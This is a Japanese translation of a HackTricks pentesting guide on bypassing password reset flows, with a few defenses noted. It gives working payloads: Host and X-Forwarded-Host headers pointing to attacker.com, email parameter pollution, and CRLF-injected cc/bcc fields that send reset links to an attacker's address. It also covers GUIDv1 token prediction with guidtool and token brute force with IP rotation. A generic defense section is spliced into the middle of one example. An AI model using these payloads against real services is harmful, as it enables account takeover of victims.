hacktricks/pentesting-web/reset-password.md

23 KiB
Raw Blame History

パスワードのリセット/忘れた場合のバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofはすべての暗号バグバウンティのホームです。

遅延なしで報酬を受け取る
HackenProofのバウンティは、顧客が報酬予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ることができます。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップして、ハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

以下のテクニックの再編集は、https://anugrahsr.github.io/posts/10-Password-reset-flaws/から取得されました。

リファラ経由のパスワードリセットトークンの漏洩

HTTPリファラは、要求されているリソースにリンクされているウェブページのアドレスを識別するオプションのHTTPヘッダーフィールドです。リファラ要求ヘッダーには、現在要求されているページへのリンクが行われた前のウェブページのアドレスが含まれています。

悪用方法

  • メールアドレスにパスワードリセットを要求する
  • パスワードリセットリンクをクリックする
  • パスワードを変更しない
  • 任意のサードパーティのウェブサイトFacebook、Twitterをクリックする
  • Burpsuiteプロキシでリクエストをインターセプトする
  • リファラヘッダーがパスワードリセットトークンを漏洩していないか確認する

影響

特定のサイトを制御している人は、ユーザーのパスワードCSRF攻撃を変更することができます。なぜなら、この人物はユーザーのリセットパスワードトークンを知っているからです。

参考:

パスワードリセットの改ざん

ホストヘッダ攻撃を見つけた場合、スコープ外の場合はパスワードリセットボタンを探してみてください!

悪用方法

  • Burpsuiteでパスワードリセットリクエストをインターセプトする
  • 次のヘッダーを追加するか、Burpsuiteでヘッダーを編集する1つずつ試してみる
Host: attacker.com
Host: target.com
X-Forwarded-Host: attacker.com
Host: target.com
Host: attacker.com
  • メール内のパスワード変更リンクが attacker.com を指していないか確認します。

パッチ

$_SERVER['HTTP_HOST'] の代わりに $_SERVER['SERVER_NAME'] を使用します。

$resetPasswordURL = "https://{$_SERVER['HTTP_HOST']}/reset-password.php?token=12345678-1234-1234-1234-12345678901";

影響

被害者は、メールで悪意のあるリンクを受け取り、クリックすると、ユーザーのパスワードリセットリンク/トークンが攻撃者に漏洩し、アカウントが完全に乗っ取られます。

参考:

メールパラメータを操作してパスワードリセット

攻撃手法

  • 攻撃者のメールを2番目のパラメータとして追加する&を使用)
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • 2番目のパラメータとして攻撃者のメールアドレスを%20を使用して追加します。
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • 2番目のパラメータとして攻撃者のメールアドレスを追加します。使用方法: |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

パスワードリセットのテスト

概要

このテストは、パスワードリセット機能のセキュリティを評価するために行われます。攻撃者がリセットリンクを受け取ることなく、他のユーザーのパスワードをリセットできるかどうかを確認します。

攻撃手法

攻撃者は、パスワードリセットフォームに別のユーザーのメールアドレスを入力し、自分のメールアドレスをCCとして追加します。これにより、攻撃者はリセットリンクを受け取るだけでなく、他のユーザーのメールアドレスも知ることができます。

テスト手順

  1. 攻撃者はターゲットのウェブアプリケーションにアクセスします。
  2. 攻撃者はパスワードリセットフォームを見つけ、別のユーザーのメールアドレスを入力します。
  3. 攻撃者は自分のメールアドレスをCCとして追加します。
  4. 攻撃者はパスワードリセットリクエストを送信します。
  5. 攻撃者はリセットリンクを受け取り、他のユーザーのメールアドレスも知ることができます。

対策方法

以下の対策を実施することで、この攻撃手法を防ぐことができます。

  • パスワードリセットフォームにおいて、攻撃者のメールアドレスをCCとして追加する機能を削除する。
  • パスワードリセットリクエストを送信する際に、送信先メールアドレスを確認する。
  • パスワードリセットリンクを受け取ったユーザーに対して、リンクの有効期限やセキュリティに関する注意喚起を行う。
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • 2番目のパラメータとして攻撃者のメールアドレスをBCCとして追加します。
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 2番目のパラメータとして攻撃者のメールアドレスを追加します。,を使用してください。
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • JSON配列の2番目のパラメータとして攻撃者のメールアドレスを追加します。
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

参考

APIパラメータを使用してユーザーのメールアドレスとパスワードを変更する

攻撃手法

  • 攻撃者は自分のアカウントでログインし、パスワード変更機能に移動します
  • Burp Suiteを起動し、リクエストをインターセプトします
  • リクエストをインターセプトした後、リピーターに送信し、メールアドレスとパスワードのパラメータを変更します
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

参考

レート制限なし:メールボム

攻撃手法

  • Burp Suiteを起動し、パスワードリセットのリクエストをインターセプトする
  • イントルーダーに送信する
  • ヌルペイロードを使用する

参考

パスワードリセットトークンの生成方法を調査する

パスワードリセットトークンのパターンを特定する

もし

  • タイムスタンプに基づいて生成される場合
  • ユーザーIDに基づいて生成される場合
  • ユーザーのメールに基づいて生成される場合
  • ユーザーの名前と姓に基づいて生成される場合
  • 誕生日に基づいて生成される場合
  • 暗号化に基づいて生成される場合

Burp Sequencerを使用してトークンのランダム性や予測可能性を調査する。

推測可能なGUID

異なるタイプのGUIDがあります

  • バージョン0 nil GUID"00000000-0000-0000-0000-000000000000")でのみ見られます。
  • バージョン1 GUIDは次のように予測可能な方法で生成されます
  • 現在の時刻
  • GUIDを生成するシステムの稼働時間中にGUID間で一定の「クロックシーケンス」がランダムに生成されます
  • 利用可能な場合、システムのMACアドレスに基づいて生成される「ードID」
  • バージョン3 GUIDは、指定された名前と名前空間のMD5ハッシュを使用して生成されます。
  • バージョン4 GUIDはランダムに生成されます。
  • バージョン5 GUIDは、指定された名前と名前空間のSHA1ハッシュを使用して生成されます。

GUIDを見てそのバージョンを特定することが可能であり、そのための小さなツールがありますguidtool****

guidtool -i 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c
UUID version: 1
UUID time: 2021-11-17 17:52:18.141000
UUID timestamp: 138564643381410000
UUID node: 17547390002044
UUID MAC address: 0f:f5:91:f2:a3:7c
UUID clock sequence: 3426

もしリセットパスワードのGUIDを生成するために使用されるバージョンが1の場合、GUIDをブルートフォース攻撃で解読することが可能です。

guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
a34aca00-47d0-11ec-8d62-0ff591f2a37c
a34af110-47d0-11ec-8d62-0ff591f2a37c

参考文献

レスポンスの操作:悪いレスポンスを良いものに置き換える

以下のようなリクエストとレスポンスを探してください。

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

パスワードリセット

パスワードリセット機能は、ユーザーがパスワードを忘れた場合に便利ですが、悪意のあるユーザーにとっては攻撃の標的になる可能性があります。このセクションでは、パスワードリセット機能の脆弱性と、それを悪用する攻撃手法について説明します。

パスワードリセットの脆弱性

パスワードリセット機能には、以下のような脆弱性が存在する場合があります。

1. 弱いトークン生成

パスワードリセットリンクには、一意のトークンが含まれています。しかし、トークンが予測可能な場合や、十分にランダムでない場合、攻撃者はトークンを推測することができます。

2. トークンの漏洩

パスワードリセットリンクのトークンが漏洩した場合、攻撃者はそのトークンを使用してパスワードをリセットすることができます。トークンの漏洩は、不適切なデータベース設定や、リンクを含むメールの不正アクセスなどによって引き起こされる可能性があります。

3. パスワードリセットの悪用

攻撃者は、パスワードリセット機能を悪用して他のユーザーのアカウントにアクセスすることができます。これは、攻撃者が他のユーザーのメールアドレスを知っている場合や、トークンを推測できる場合に発生します。

パスワードリセット攻撃の手法

パスワードリセット機能を悪用する攻撃手法には、以下のようなものがあります。

1. トークン推測攻撃

攻撃者は、予測可能なトークンを使用してパスワードリセットリンクにアクセスし、他のユーザーのアカウントにアクセスします。トークンの予測には、一般的なパターンや辞書攻撃が使用されることがあります。

2. トークンの漏洩を利用した攻撃

攻撃者は、トークンが漏洩した場合にそのトークンを使用してパスワードをリセットします。トークンの漏洩は、不適切なデータベース設定や、リンクを含むメールの不正アクセスなどによって引き起こされる可能性があります。

3. メールヘッダーの改ざん

攻撃者は、メールヘッダーを改ざんして、パスワードリセットリンクを自分のアカウントに送信するようにすることがあります。これにより、攻撃者は他のユーザーのアカウントにアクセスすることができます。

対策方法

パスワードリセット機能の脆弱性を防ぐためには、以下の対策を実施することが重要です。

1. 強力なトークン生成

ランダムで予測困難なトークンを生成することが重要です。セキュアな乱数生成関数を使用し、トークンの予測を困難にします。

2. トークンの有効期限

パスワードリセットリンクのトークンには有効期限を設定し、一定時間経過後に無効化することが重要です。これにより、トークンの漏洩が発生しても、一定期間後には攻撃者がトークンを使用できなくなります。

3. 二要素認証の導入

パスワードリセット機能に二要素認証を導入することで、攻撃者が他のユーザーのアカウントにアクセスすることを困難にします。二要素認証は、追加のセキュリティレイヤーを提供し、アカウントの保護を強化します。

4. ログ監視とアラート

パスワードリセット機能のログを監視し、異常なアクティビティを検知することが重要です。異常なアクティビティが検出された場合は、適切なアラートを発行し、迅速に対応することが必要です。

パスワードリセット機能は、ユーザーの利便性を向上させる一方で、セキュリティ上のリスクも伴います。適切な対策を実施することで、パスワードリセット機能の脆弱性を最小限に抑え、安全なシステムを構築することが重要です。

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

参考

期限切れトークンの使用

  • 期限切れのトークンが再利用できるかどうかを確認します

パスワードリセットトークンのブルートフォース攻撃

Burpsuiteを使用してリセットトークンをブルートフォース攻撃してみてください

POST /resetPassword
[...]
email=victim@email.com&code=$BRUTE$
  • IPベースのレート制限をバイパスするために、Burp SuiteでIP-Rotatorを使用します。

参考

トークンを使用して試す

  • パスワードリセットトークンを被害者のアカウントに追加して試してみてください。
POST /resetPassword
[...]
email=victim@email.com&code=$YOUR_TOKEN$

参考

ログアウト/パスワードリセットにおけるセッションの無効化

ユーザーがログアウトまたはパスワードをリセットする場合、現在のセッションは無効にする必要があります。
したがって、ユーザーがログインしている間にクッキーを取得し、ログアウトし、クッキーがまだ有効かどうかを確認します。
ログアウトの代わりにパスワードを変更することで、プロセスを繰り返します。

リセットトークンの有効期限

リセットトークンには有効期限が必要であり、期限が切れた後はユーザーのパスワードを変更するためにトークンは有効ではありません。

追加のチェック

  • username@burp_collab.net を使用してコールバックを分析する
  • User carbon copy email=victim@mail.com%0a%0dcc:hacker@mail.com
  • 長いパスワード (>200) はDoSにつながる
  • 2番目のメールパラメータと値を追加する

HackenProofはすべての暗号バグ報奨金の場です。

遅延なしで報酬を受け取る
HackenProofの報奨金は、顧客が報奨金予算を入金した後にのみ開始されます。バグが検証された後に報酬を受け取ります。

Web3ペンテストの経験を積む
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットですその成長期におけるweb3セキュリティをマスターしましょう。

Web3ハッカーレジェンドになる
各検証済みのバグごとに評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。

HackenProofでサインアップ してハッキングから報酬を得ましょう!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥